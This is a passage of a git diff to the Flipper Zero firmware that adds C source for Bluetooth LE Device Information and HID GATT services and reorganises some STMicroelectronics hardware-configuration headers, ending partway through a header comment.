++#include "dev_info_service.h" ++#include "app_common.h" ++#include ++ ++#include ++#include ++#include ++ ++#define TAG "BtDevInfoSvc" ++ ++typedef struct { ++ uint16_t service_handle; ++ uint16_t man_name_char_handle; ++ uint16_t serial_num_char_handle; ++ uint16_t firmware_rev_char_handle; ++ uint16_t software_rev_char_handle; ++ uint16_t rpc_version_char_handle; ++ FuriString* version_string; ++ char hardware_revision[4]; ++} DevInfoSvc; ++ ++static DevInfoSvc* dev_info_svc = NULL; ++ ++static const char dev_info_man_name[] = "Flipper Devices Inc."; ++static const char dev_info_serial_num[] = "1.0"; ++static const char dev_info_rpc_version[] = TOSTRING(PROTOBUF_MAJOR_VERSION.PROTOBUF_MINOR_VERSION); ++ ++static const uint8_t dev_info_rpc_version_uuid[] = ++ {0x33, 0xa9, 0xb5, 0x3e, 0x87, 0x5d, 0x1a, 0x8e, 0xc8, 0x47, 0x5e, 0xae, 0x6d, 0x66, 0xf6, 0x03}; ++ ++void dev_info_svc_start() { ++ dev_info_svc = malloc(sizeof(DevInfoSvc)); ++ dev_info_svc->version_string = furi_string_alloc_printf( ++ "%s %s %s %s", ++ version_get_githash(NULL), ++ version_get_version(NULL), ++ version_get_gitbranchnum(NULL), ++ version_get_builddate(NULL)); ++ snprintf( ++ dev_info_svc->hardware_revision, ++ sizeof(dev_info_svc->hardware_revision), ++ "%d", ++ version_get_target(NULL)); ++ tBleStatus status; ++ ++ // Add Device Information Service ++ uint16_t uuid = DEVICE_INFORMATION_SERVICE_UUID; ++ status = aci_gatt_add_service( ++ UUID_TYPE_16, (Service_UUID_t*)&uuid, PRIMARY_SERVICE, 11, &dev_info_svc->service_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to add Device Information Service: %d", status); ++ } ++ ++ // Add characteristics ++ uuid = MANUFACTURER_NAME_UUID; ++ status = aci_gatt_add_char( ++ dev_info_svc->service_handle, ++ UUID_TYPE_16, ++ (Char_UUID_t*)&uuid, ++ strlen(dev_info_man_name), ++ CHAR_PROP_READ, ++ ATTR_PERMISSION_AUTHEN_READ, ++ GATT_DONT_NOTIFY_EVENTS, ++ 10, ++ CHAR_VALUE_LEN_CONSTANT, ++ &dev_info_svc->man_name_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to add manufacturer name char: %d", status); ++ } ++ uuid = SERIAL_NUMBER_UUID; ++ status = aci_gatt_add_char( ++ dev_info_svc->service_handle, ++ UUID_TYPE_16, ++ (Char_UUID_t*)&uuid, ++ strlen(dev_info_serial_num), ++ CHAR_PROP_READ, ++ ATTR_PERMISSION_AUTHEN_READ, ++ GATT_DONT_NOTIFY_EVENTS, ++ 10, ++ CHAR_VALUE_LEN_CONSTANT, ++ &dev_info_svc->serial_num_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to add serial number char: %d", status); ++ } ++ uuid = FIRMWARE_REVISION_UUID; ++ status = aci_gatt_add_char( ++ dev_info_svc->service_handle, ++ UUID_TYPE_16, ++ (Char_UUID_t*)&uuid, ++ strlen(dev_info_svc->hardware_revision), ++ CHAR_PROP_READ, ++ ATTR_PERMISSION_AUTHEN_READ, ++ GATT_DONT_NOTIFY_EVENTS, ++ 10, ++ CHAR_VALUE_LEN_CONSTANT, ++ &dev_info_svc->firmware_rev_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to add firmware revision char: %d", status); ++ } ++ uuid = SOFTWARE_REVISION_UUID; ++ status = aci_gatt_add_char( ++ dev_info_svc->service_handle, ++ UUID_TYPE_16, ++ (Char_UUID_t*)&uuid, ++ furi_string_size(dev_info_svc->version_string), ++ CHAR_PROP_READ, ++ ATTR_PERMISSION_AUTHEN_READ, ++ GATT_DONT_NOTIFY_EVENTS, ++ 10, ++ CHAR_VALUE_LEN_CONSTANT, ++ &dev_info_svc->software_rev_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to add software revision char: %d", status); ++ } ++ status = aci_gatt_add_char( ++ dev_info_svc->service_handle, ++ UUID_TYPE_128, ++ (const Char_UUID_t*)dev_info_rpc_version_uuid, ++ strlen(dev_info_rpc_version), ++ CHAR_PROP_READ, ++ ATTR_PERMISSION_AUTHEN_READ, ++ GATT_DONT_NOTIFY_EVENTS, ++ 10, ++ CHAR_VALUE_LEN_CONSTANT, ++ &dev_info_svc->rpc_version_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to add rpc version characteristic: %d", status); ++ } ++ ++ // Update characteristics ++ status = aci_gatt_update_char_value( ++ dev_info_svc->service_handle, ++ dev_info_svc->man_name_char_handle, ++ 0, ++ strlen(dev_info_man_name), ++ (uint8_t*)dev_info_man_name); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to update manufacturer name char: %d", status); ++ } ++ status = aci_gatt_update_char_value( ++ dev_info_svc->service_handle, ++ dev_info_svc->serial_num_char_handle, ++ 0, ++ strlen(dev_info_serial_num), ++ (uint8_t*)dev_info_serial_num); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to update serial number char: %d", status); ++ } ++ status = aci_gatt_update_char_value( ++ dev_info_svc->service_handle, ++ dev_info_svc->firmware_rev_char_handle, ++ 0, ++ strlen(dev_info_svc->hardware_revision), ++ (uint8_t*)dev_info_svc->hardware_revision); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to update firmware revision char: %d", status); ++ } ++ status = aci_gatt_update_char_value( ++ dev_info_svc->service_handle, ++ dev_info_svc->software_rev_char_handle, ++ 0, ++ furi_string_size(dev_info_svc->version_string), ++ (uint8_t*)furi_string_get_cstr(dev_info_svc->version_string)); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to update software revision char: %d", status); ++ } ++ status = aci_gatt_update_char_value( ++ dev_info_svc->service_handle, ++ dev_info_svc->rpc_version_char_handle, ++ 0, ++ strlen(dev_info_rpc_version), ++ (uint8_t*)dev_info_rpc_version); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to update rpc version char: %d", status); ++ } ++} ++ ++void dev_info_svc_stop() { ++ tBleStatus status; ++ if(dev_info_svc) { ++ furi_string_free(dev_info_svc->version_string); ++ // Delete service characteristics ++ status = ++ aci_gatt_del_char(dev_info_svc->service_handle, dev_info_svc->man_name_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to delete manufacturer name char: %d", status); ++ } ++ status = ++ aci_gatt_del_char(dev_info_svc->service_handle, dev_info_svc->serial_num_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to delete serial number char: %d", status); ++ } ++ status = aci_gatt_del_char( ++ dev_info_svc->service_handle, dev_info_svc->firmware_rev_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to delete firmware revision char: %d", status); ++ } ++ status = aci_gatt_del_char( ++ dev_info_svc->service_handle, dev_info_svc->software_rev_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to delete software revision char: %d", status); ++ } ++ status = ++ aci_gatt_del_char(dev_info_svc->service_handle, dev_info_svc->rpc_version_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to delete rpc version char: %d", status); ++ } ++ // Delete service ++ status = aci_gatt_del_service(dev_info_svc->service_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to delete device info service: %d", status); ++ } ++ free(dev_info_svc); ++ dev_info_svc = NULL; ++ } ++} ++ ++bool dev_info_svc_is_started() { ++ return dev_info_svc != NULL; ++} +diff --git a/firmware/targets/f7/ble_glue/services/dev_info_service.h b/firmware/targets/f7/ble_glue/dev_info_service.h +similarity index 100% +rename from firmware/targets/f7/ble_glue/services/dev_info_service.h +rename to firmware/targets/f7/ble_glue/dev_info_service.h +diff --git a/firmware/targets/f7/ble_glue/hid_service.c b/firmware/targets/f7/ble_glue/hid_service.c +new file mode 100644 +index 000000000..a31d6015f +--- /dev/null ++++ b/firmware/targets/f7/ble_glue/hid_service.c +@@ -0,0 +1,416 @@ ++#include "hid_service.h" ++#include "app_common.h" ++#include ++ ++#include ++ ++#define TAG "BtHid" ++ ++typedef struct { ++ uint16_t svc_handle; ++ uint16_t protocol_mode_char_handle; ++ uint16_t report_char_handle[HID_SVC_REPORT_COUNT]; ++ uint16_t report_ref_desc_handle[HID_SVC_REPORT_COUNT]; ++ uint16_t report_map_char_handle; ++ uint16_t info_char_handle; ++ uint16_t ctrl_point_char_handle; ++ // led state ++ uint16_t led_state_char_handle; ++ uint16_t led_state_desc_handle; ++ HidLedStateEventCallback led_state_event_callback; ++ void* led_state_ctx; ++} HIDSvc; ++ ++static HIDSvc* hid_svc = NULL; ++ ++static SVCCTL_EvtAckStatus_t hid_svc_event_handler(void* event) { ++ SVCCTL_EvtAckStatus_t ret = SVCCTL_EvtNotAck; ++ hci_event_pckt* event_pckt = (hci_event_pckt*)(((hci_uart_pckt*)event)->data); ++ evt_blecore_aci* blecore_evt = (evt_blecore_aci*)event_pckt->data; ++ // aci_gatt_attribute_modified_event_rp0* attribute_modified; ++ if(event_pckt->evt == HCI_VENDOR_SPECIFIC_DEBUG_EVT_CODE) { ++ if(blecore_evt->ecode == ACI_GATT_ATTRIBUTE_MODIFIED_VSEVT_CODE) { ++ // Process modification events ++ ret = SVCCTL_EvtAckFlowEnable; ++ } else if(blecore_evt->ecode == ACI_GATT_SERVER_CONFIRMATION_VSEVT_CODE) { ++ // Process notification confirmation ++ ret = SVCCTL_EvtAckFlowEnable; ++ } else if(blecore_evt->ecode == ACI_GATT_WRITE_PERMIT_REQ_VSEVT_CODE) { ++ // Process write request ++ aci_gatt_write_permit_req_event_rp0* req = ++ (aci_gatt_write_permit_req_event_rp0*)blecore_evt->data; ++ ++ furi_check(hid_svc->led_state_event_callback && hid_svc->led_state_ctx); ++ ++ // this check is likely to be incorrect, it will actually work in our case ++ // but we need to investigate gatt api to see what is the rules ++ // that specify attibute handle value from char handle (or the reverse) ++ if(req->Attribute_Handle == (hid_svc->led_state_char_handle + 1)) { ++ hid_svc->led_state_event_callback(req->Data[0], hid_svc->led_state_ctx); ++ aci_gatt_write_resp( ++ req->Connection_Handle, ++ req->Attribute_Handle, ++ 0x00, /* write_status = 0 (no error))*/ ++ 0x00, /* err_code */ ++ req->Data_Length, ++ req->Data); ++ aci_gatt_write_char_value( ++ req->Connection_Handle, ++ hid_svc->led_state_char_handle, ++ req->Data_Length, ++ req->Data); ++ ret = SVCCTL_EvtAckFlowEnable; ++ } ++ } ++ } ++ return ret; ++} ++ ++void hid_svc_start() { ++ tBleStatus status; ++ hid_svc = malloc(sizeof(HIDSvc)); ++ Service_UUID_t svc_uuid = {}; ++ Char_Desc_Uuid_t desc_uuid = {}; ++ Char_UUID_t char_uuid = {}; ++ ++ // Register event handler ++ SVCCTL_RegisterSvcHandler(hid_svc_event_handler); ++ // Add service ++ svc_uuid.Service_UUID_16 = HUMAN_INTERFACE_DEVICE_SERVICE_UUID; ++ /** ++ * Add Human Interface Device Service ++ */ ++ status = aci_gatt_add_service( ++ UUID_TYPE_16, ++ &svc_uuid, ++ PRIMARY_SERVICE, ++ 2 + /* protocol mode */ ++ (4 * HID_SVC_INPUT_REPORT_COUNT) + (3 * HID_SVC_OUTPUT_REPORT_COUNT) + ++ (3 * HID_SVC_FEATURE_REPORT_COUNT) + 1 + 2 + 2 + 2 + ++ 4, /* Service + Report Map + HID Information + HID Control Point + LED state */ ++ &hid_svc->svc_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to add HID service: %d", status); ++ } ++ // Add Protocol mode characteristics ++ char_uuid.Char_UUID_16 = PROTOCOL_MODE_CHAR_UUID; ++ status = aci_gatt_add_char( ++ hid_svc->svc_handle, ++ UUID_TYPE_16, ++ &char_uuid, ++ 1, ++ CHAR_PROP_READ | CHAR_PROP_WRITE_WITHOUT_RESP, ++ ATTR_PERMISSION_NONE, ++ GATT_NOTIFY_ATTRIBUTE_WRITE, ++ 10, ++ CHAR_VALUE_LEN_CONSTANT, ++ &hid_svc->protocol_mode_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to add protocol mode characteristic: %d", status); ++ } ++ // Update Protocol mode characteristic ++ uint8_t protocol_mode = 1; ++ status = aci_gatt_update_char_value( ++ hid_svc->svc_handle, hid_svc->protocol_mode_char_handle, 0, 1, &protocol_mode); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to update protocol mode characteristic: %d", status); ++ } ++ ++#if(HID_SVC_REPORT_COUNT != 0) ++ for(uint8_t i = 0; i < HID_SVC_REPORT_COUNT; i++) { ++ if(i < HID_SVC_INPUT_REPORT_COUNT) { //-V547 ++ uint8_t buf[2] = {i + 1, 1}; // 1 input ++ char_uuid.Char_UUID_16 = REPORT_CHAR_UUID; ++ status = aci_gatt_add_char( ++ hid_svc->svc_handle, ++ UUID_TYPE_16, ++ &char_uuid, ++ HID_SVC_REPORT_MAX_LEN, ++ CHAR_PROP_READ | CHAR_PROP_NOTIFY, ++ ATTR_PERMISSION_NONE, ++ GATT_DONT_NOTIFY_EVENTS, ++ 10, ++ CHAR_VALUE_LEN_VARIABLE, ++ &(hid_svc->report_char_handle[i])); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to add report characteristic: %d", status); ++ } ++ ++ desc_uuid.Char_UUID_16 = REPORT_REFERENCE_DESCRIPTOR_UUID; ++ status = aci_gatt_add_char_desc( ++ hid_svc->svc_handle, ++ hid_svc->report_char_handle[i], ++ UUID_TYPE_16, ++ &desc_uuid, ++ HID_SVC_REPORT_REF_LEN, ++ HID_SVC_REPORT_REF_LEN, ++ buf, ++ ATTR_PERMISSION_NONE, ++ ATTR_ACCESS_READ_WRITE, ++ GATT_DONT_NOTIFY_EVENTS, ++ MIN_ENCRY_KEY_SIZE, ++ CHAR_VALUE_LEN_CONSTANT, ++ &(hid_svc->report_ref_desc_handle[i])); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to add report reference descriptor: %d", status); ++ } ++ } else if((i - HID_SVC_INPUT_REPORT_COUNT) < HID_SVC_OUTPUT_REPORT_COUNT) { ++ uint8_t buf[2] = {i + 1, 2}; // 2 output ++ char_uuid.Char_UUID_16 = REPORT_CHAR_UUID; ++ status = aci_gatt_add_char( ++ hid_svc->svc_handle, ++ UUID_TYPE_16, ++ &char_uuid, ++ HID_SVC_REPORT_MAX_LEN, ++ CHAR_PROP_READ | CHAR_PROP_NOTIFY, ++ ATTR_PERMISSION_NONE, ++ GATT_DONT_NOTIFY_EVENTS, ++ 10, ++ CHAR_VALUE_LEN_VARIABLE, ++ &(hid_svc->report_char_handle[i])); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to add report characteristic: %d", status); ++ } ++ ++ desc_uuid.Char_UUID_16 = REPORT_REFERENCE_DESCRIPTOR_UUID; ++ status = aci_gatt_add_char_desc( ++ hid_svc->svc_handle, ++ hid_svc->report_char_handle[i], ++ UUID_TYPE_16, ++ &desc_uuid, ++ HID_SVC_REPORT_REF_LEN, ++ HID_SVC_REPORT_REF_LEN, ++ buf, ++ ATTR_PERMISSION_NONE, ++ ATTR_ACCESS_READ_WRITE, ++ GATT_DONT_NOTIFY_EVENTS, ++ MIN_ENCRY_KEY_SIZE, ++ CHAR_VALUE_LEN_CONSTANT, ++ &(hid_svc->report_ref_desc_handle[i])); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to add report reference descriptor: %d", status); ++ } ++ } else { ++ uint8_t buf[2] = {i + 1, 3}; // 3 feature ++ char_uuid.Char_UUID_16 = REPORT_CHAR_UUID; ++ status = aci_gatt_add_char( ++ hid_svc->svc_handle, ++ UUID_TYPE_16, ++ &char_uuid, ++ HID_SVC_REPORT_MAX_LEN, ++ CHAR_PROP_READ | CHAR_PROP_NOTIFY, ++ ATTR_PERMISSION_NONE, ++ GATT_DONT_NOTIFY_EVENTS, ++ 10, ++ CHAR_VALUE_LEN_VARIABLE, ++ &(hid_svc->report_char_handle[i])); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to add report characteristic: %d", status); ++ } ++ ++ desc_uuid.Char_UUID_16 = REPORT_REFERENCE_DESCRIPTOR_UUID; ++ status = aci_gatt_add_char_desc( ++ hid_svc->svc_handle, ++ hid_svc->report_char_handle[i], ++ UUID_TYPE_16, ++ &desc_uuid, ++ HID_SVC_REPORT_REF_LEN, ++ HID_SVC_REPORT_REF_LEN, ++ buf, ++ ATTR_PERMISSION_NONE, ++ ATTR_ACCESS_READ_WRITE, ++ GATT_DONT_NOTIFY_EVENTS, ++ MIN_ENCRY_KEY_SIZE, ++ CHAR_VALUE_LEN_CONSTANT, ++ &(hid_svc->report_ref_desc_handle[i])); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to add report reference descriptor: %d", status); ++ } ++ } ++ } ++#endif ++ // Add led state output report ++ char_uuid.Char_UUID_16 = REPORT_CHAR_UUID; ++ status = aci_gatt_add_char( ++ hid_svc->svc_handle, ++ UUID_TYPE_16, ++ &char_uuid, ++ 1, ++ CHAR_PROP_READ | CHAR_PROP_WRITE_WITHOUT_RESP | CHAR_PROP_WRITE, ++ ATTR_PERMISSION_NONE, ++ GATT_NOTIFY_ATTRIBUTE_WRITE | GATT_NOTIFY_WRITE_REQ_AND_WAIT_FOR_APPL_RESP, ++ 10, ++ CHAR_VALUE_LEN_CONSTANT, ++ &(hid_svc->led_state_char_handle)); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to add led state characteristic: %d", status); ++ } ++ ++ // Add led state char descriptor specifying it is an output report ++ uint8_t buf[2] = {HID_SVC_REPORT_COUNT + 1, 2}; ++ desc_uuid.Char_UUID_16 = REPORT_REFERENCE_DESCRIPTOR_UUID; ++ status = aci_gatt_add_char_desc( ++ hid_svc->svc_handle, ++ hid_svc->led_state_char_handle, ++ UUID_TYPE_16, ++ &desc_uuid, ++ HID_SVC_REPORT_REF_LEN, ++ HID_SVC_REPORT_REF_LEN, ++ buf, ++ ATTR_PERMISSION_NONE, ++ ATTR_ACCESS_READ_WRITE, ++ GATT_DONT_NOTIFY_EVENTS, ++ MIN_ENCRY_KEY_SIZE, ++ CHAR_VALUE_LEN_CONSTANT, ++ &(hid_svc->led_state_desc_handle)); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to add led state descriptor: %d", status); ++ } ++ // Add Report Map characteristic ++ char_uuid.Char_UUID_16 = REPORT_MAP_CHAR_UUID; ++ status = aci_gatt_add_char( ++ hid_svc->svc_handle, ++ UUID_TYPE_16, ++ &char_uuid, ++ HID_SVC_REPORT_MAP_MAX_LEN, ++ CHAR_PROP_READ, ++ ATTR_PERMISSION_NONE, ++ GATT_DONT_NOTIFY_EVENTS, ++ 10, ++ CHAR_VALUE_LEN_VARIABLE, ++ &hid_svc->report_map_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to add report map characteristic: %d", status); ++ } ++ ++ // Add Information characteristic ++ char_uuid.Char_UUID_16 = HID_INFORMATION_CHAR_UUID; ++ status = aci_gatt_add_char( ++ hid_svc->svc_handle, ++ UUID_TYPE_16, ++ &char_uuid, ++ HID_SVC_INFO_LEN, ++ CHAR_PROP_READ, ++ ATTR_PERMISSION_NONE, ++ GATT_DONT_NOTIFY_EVENTS, ++ 10, ++ CHAR_VALUE_LEN_CONSTANT, ++ &hid_svc->info_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to add information characteristic: %d", status); ++ } ++ // Add Control Point characteristic ++ char_uuid.Char_UUID_16 = HID_CONTROL_POINT_CHAR_UUID; ++ status = aci_gatt_add_char( ++ hid_svc->svc_handle, ++ UUID_TYPE_16, ++ &char_uuid, ++ HID_SVC_CONTROL_POINT_LEN, ++ CHAR_PROP_WRITE_WITHOUT_RESP, ++ ATTR_PERMISSION_NONE, ++ GATT_NOTIFY_ATTRIBUTE_WRITE, ++ 10, ++ CHAR_VALUE_LEN_CONSTANT, ++ &hid_svc->ctrl_point_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to add control point characteristic: %d", status); ++ } ++ ++ hid_svc->led_state_event_callback = NULL; ++ hid_svc->led_state_ctx = NULL; ++} ++ ++bool hid_svc_update_report_map(const uint8_t* data, uint16_t len) { ++ furi_assert(data); ++ furi_assert(hid_svc); ++ ++ tBleStatus status = aci_gatt_update_char_value( ++ hid_svc->svc_handle, hid_svc->report_map_char_handle, 0, len, data); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed updating report map characteristic: %d", status); ++ return false; ++ } ++ return true; ++} ++ ++bool hid_svc_update_input_report(uint8_t input_report_num, uint8_t* data, uint16_t len) { ++ furi_assert(data); ++ furi_assert(hid_svc); ++ ++ tBleStatus status = aci_gatt_update_char_value( ++ hid_svc->svc_handle, hid_svc->report_char_handle[input_report_num], 0, len, data); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed updating report characteristic: %d", status); ++ return false; ++ } ++ return true; ++} ++ ++bool hid_svc_update_info(uint8_t* data, uint16_t len) { ++ furi_assert(data); ++ furi_assert(hid_svc); ++ ++ tBleStatus status = ++ aci_gatt_update_char_value(hid_svc->svc_handle, hid_svc->info_char_handle, 0, len, data); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed updating info characteristic: %d", status); ++ return false; ++ } ++ return true; ++} ++ ++void hid_svc_register_led_state_callback(HidLedStateEventCallback callback, void* context) { ++ furi_assert(hid_svc); ++ furi_assert(callback); ++ furi_assert(context); ++ ++ hid_svc->led_state_event_callback = callback; ++ hid_svc->led_state_ctx = context; ++} ++ ++bool hid_svc_is_started() { ++ return hid_svc != NULL; ++} ++ ++void hid_svc_stop() { ++ tBleStatus status; ++ if(hid_svc) { ++ // Delete characteristics ++ status = aci_gatt_del_char(hid_svc->svc_handle, hid_svc->report_map_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to delete Report Map characteristic: %d", status); ++ } ++#if(HID_SVC_INPUT_REPORT_COUNT != 0) ++ for(uint8_t i = 0; i < HID_SVC_REPORT_COUNT; i++) { ++ status = aci_gatt_del_char(hid_svc->svc_handle, hid_svc->report_char_handle[i]); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to delete Report characteristic: %d", status); ++ } ++ } ++#endif ++ status = aci_gatt_del_char(hid_svc->svc_handle, hid_svc->protocol_mode_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to delete Protocol Mode characteristic: %d", status); ++ } ++ status = aci_gatt_del_char(hid_svc->svc_handle, hid_svc->info_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to delete Information characteristic: %d", status); ++ } ++ status = aci_gatt_del_char(hid_svc->svc_handle, hid_svc->ctrl_point_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to delete Control Point characteristic: %d", status); ++ } ++ status = aci_gatt_del_char(hid_svc->svc_handle, hid_svc->led_state_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to delete led state characteristic: %d", status); ++ } ++ // Delete service ++ status = aci_gatt_del_service(hid_svc->svc_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to delete HID service: %d", status); ++ } ++ // Delete buffer size mutex ++ free(hid_svc); ++ hid_svc = NULL; ++ } ++} +diff --git a/firmware/targets/f7/ble_glue/services/hid_service.h b/firmware/targets/f7/ble_glue/hid_service.h +similarity index 89% +rename from firmware/targets/f7/ble_glue/services/hid_service.h +rename to firmware/targets/f7/ble_glue/hid_service.h +index 4d0ed4c4f..b8f6b244d 100644 +--- a/firmware/targets/f7/ble_glue/services/hid_service.h ++++ b/firmware/targets/f7/ble_glue/hid_service.h +@@ -27,7 +27,6 @@ bool hid_svc_update_report_map(const uint8_t* data, uint16_t len); + + bool hid_svc_update_input_report(uint8_t input_report_num, uint8_t* data, uint16_t len); + +-// Expects data to be of length HID_SVC_INFO_LEN (4 bytes) +-bool hid_svc_update_info(uint8_t* data); ++bool hid_svc_update_info(uint8_t* data, uint16_t len); + + void hid_svc_register_led_state_callback(HidLedStateEventCallback callback, void* context); +diff --git a/firmware/targets/f7/ble_glue/hsem_map.h b/firmware/targets/f7/ble_glue/hsem_map.h +deleted file mode 100644 +index 9a5f51d20..000000000 +--- a/firmware/targets/f7/ble_glue/hsem_map.h ++++ /dev/null +@@ -1,81 +0,0 @@ +-#pragma once +- +-/****************************************************************************** +- * Semaphores +- * THIS SHALL NO BE CHANGED AS THESE SEMAPHORES ARE USED AS WELL ON THE CM0+ +- *****************************************************************************/ +-/** +-* Index of the semaphore used the prevent conflicts after standby sleep. +-* Each CPUs takes this semaphore at standby wakeup until conflicting elements are restored. +-*/ +-#define CFG_HW_PWR_STANDBY_SEMID 10 +-/** +-* The CPU2 may be configured to store the Thread persistent data either in internal NVM storage on CPU2 or in +-* SRAM2 buffer provided by the user application. This can be configured with the system command SHCI_C2_Config() +-* When the CPU2 is requested to store persistent data in SRAM2, it can write data in this buffer at any time when needed. +-* In order to read consistent data with the CPU1 from the SRAM2 buffer, the flow should be: +-* + CPU1 takes CFG_HW_THREAD_NVM_SRAM_SEMID semaphore +-* + CPU1 reads all persistent data from SRAM2 (most of the time, the goal is to write these data into an NVM managed by CPU1) +-* + CPU1 releases CFG_HW_THREAD_NVM_SRAM_SEMID semaphore +-* CFG_HW_THREAD_NVM_SRAM_SEMID semaphore makes sure CPU2 does not update the persistent data in SRAM2 at the same time CPU1 is reading them. +-* There is no timing constraint on how long this semaphore can be kept. +-*/ +-#define CFG_HW_THREAD_NVM_SRAM_SEMID 9 +- +-/** +-* The CPU2 may be configured to store the BLE persistent data either in internal NVM storage on CPU2 or in +-* SRAM2 buffer provided by the user application. This can be configured with the system command SHCI_C2_Config() +-* When the CPU2 is requested to store persistent data in SRAM2, it can write data in this buffer at any time when needed. +-* In order to read consistent data with the CPU1 from the SRAM2 buffer, the flow should be: +-* + CPU1 takes CFG_HW_BLE_NVM_SRAM_SEMID semaphore +-* + CPU1 reads all persistent data from SRAM2 (most of the time, the goal is to write these data into an NVM managed by CPU1) +-* + CPU1 releases CFG_HW_BLE_NVM_SRAM_SEMID semaphore +-* CFG_HW_BLE_NVM_SRAM_SEMID semaphore makes sure CPU2 does not update the persistent data in SRAM2 at the same time CPU1 is reading them. +-* There is no timing constraint on how long this semaphore can be kept. +-*/ +-#define CFG_HW_BLE_NVM_SRAM_SEMID 8 +- +-/** +-* Index of the semaphore used by CPU2 to prevent the CPU1 to either write or erase data in flash +-* The CPU1 shall not either write or erase in flash when this semaphore is taken by the CPU2 +-* When the CPU1 needs to either write or erase in flash, it shall first get the semaphore and release it just +-* after writing a raw (64bits data) or erasing one sector. +-* Once the Semaphore has been released, there shall be at least 1us before it can be taken again. This is required +-* to give the opportunity to CPU2 to take it. +-* On v1.4.0 and older CPU2 wireless firmware, this semaphore is unused and CPU2 is using PES bit. +-* By default, CPU2 is using the PES bit to protect its timing. The CPU1 may request the CPU2 to use the semaphore +-* instead of the PES bit by sending the system command SHCI_C2_SetFlashActivityControl() +-*/ +-#define CFG_HW_BLOCK_FLASH_REQ_BY_CPU2_SEMID 7 +- +-/** +-* Index of the semaphore used by CPU1 to prevent the CPU2 to either write or erase data in flash +-* In order to protect its timing, the CPU1 may get this semaphore to prevent the CPU2 to either +-* write or erase in flash (as this will stall both CPUs) +-* The PES bit shall not be used as this may stall the CPU2 in some cases. +-*/ +-#define CFG_HW_BLOCK_FLASH_REQ_BY_CPU1_SEMID 6 +- +-/** +-* Index of the semaphore used to manage the CLK48 clock configuration +-* When the USB is required, this semaphore shall be taken before configuring te CLK48 for USB +-* and should be released after the application switch OFF the clock when the USB is not used anymore +-* When using the RNG, it is good enough to use CFG_HW_RNG_SEMID to control CLK48. +-* More details in AN5289 +-*/ +-#define CFG_HW_CLK48_CONFIG_SEMID 5 +- +-/* Index of the semaphore used to manage the entry Stop Mode procedure */ +-#define CFG_HW_ENTRY_STOP_MODE_SEMID 4 +- +-/* Index of the semaphore used to access the RCC */ +-#define CFG_HW_RCC_SEMID 3 +- +-/* Index of the semaphore used to access the FLASH */ +-#define CFG_HW_FLASH_SEMID 2 +- +-/* Index of the semaphore used to access the PKA */ +-#define CFG_HW_PKA_SEMID 1 +- +-/* Index of the semaphore used to access the RNG */ +-#define CFG_HW_RNG_SEMID 0 +diff --git a/firmware/targets/f7/ble_glue/hw_conf.h b/firmware/targets/f7/ble_glue/hw_conf.h +new file mode 100644 +index 000000000..bf18a7d0e +--- /dev/null ++++ b/firmware/targets/f7/ble_glue/hw_conf.h +@@ -0,0 +1,231 @@ ++/* USER CODE BEGIN Header */ ++/** ++ ****************************************************************************** ++ * @file hw_conf.h ++ * @author MCD Application Team ++ * @brief Configuration of hardware interface ++ ****************************************************************************** ++ * @attention ++ * ++ *

© Copyright (c) 2019 STMicroelectronics. ++ * All rights reserved.

++ * ++ * This software component is licensed by ST under Ultimate Liberty license ++ * SLA0044, the "License"; You may not use this file except in compliance with ++ * the License. You may obtain a copy of the License at: ++ * www.st.com/SLA0044 ++ * ++ ****************************************************************************** ++ */ ++/* USER CODE END Header */ ++ ++/* Define to prevent recursive inclusion -------------------------------------*/ ++#ifndef HW_CONF_H ++#define HW_CONF_H ++ ++#include "FreeRTOSConfig.h" ++ ++/****************************************************************************** ++ * Semaphores ++ * THIS SHALL NO BE CHANGED AS THESE SEMAPHORES ARE USED AS WELL ON THE CM0+ ++ *****************************************************************************/ ++/** ++* Index of the semaphore used the prevent conflicts after standby sleep. ++* Each CPUs takes this semaphore at standby wakeup until conclicting elements are restored. ++*/ ++#define CFG_HW_PWR_STANDBY_SEMID 10 ++/** ++* The CPU2 may be configured to store the Thread persistent data either in internal NVM storage on CPU2 or in ++* SRAM2 buffer provided by the user application. This can be configured with the system command SHCI_C2_Config() ++* When the CPU2 is requested to store persistent data in SRAM2, it can write data in this buffer at any time when needed. ++* In order to read consistent data with the CPU1 from the SRAM2 